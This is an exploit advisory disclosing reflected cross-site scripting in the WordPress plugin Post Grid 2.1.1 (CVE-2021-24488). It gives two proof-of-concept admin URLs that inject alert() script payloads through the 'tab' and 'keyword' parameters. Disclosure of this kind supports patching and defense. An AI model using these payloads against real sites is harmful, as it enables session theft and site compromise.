# Exploit Title: WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS)# Date: 3/16/2021# Author: 0xB9# Software Link: https://wordpress.org/plugins/post-grid/# Version: 2.1.1# Tested on: Windows 10# CVE: CVE-2021-244881. Description:
This plugin creates a post grid fromany post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.2. Proof of Concept:
wp-admin/edit.php?post_type=post_grid&page=post-grid-settings&tab="><script>alert(1)</script>
wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(1)//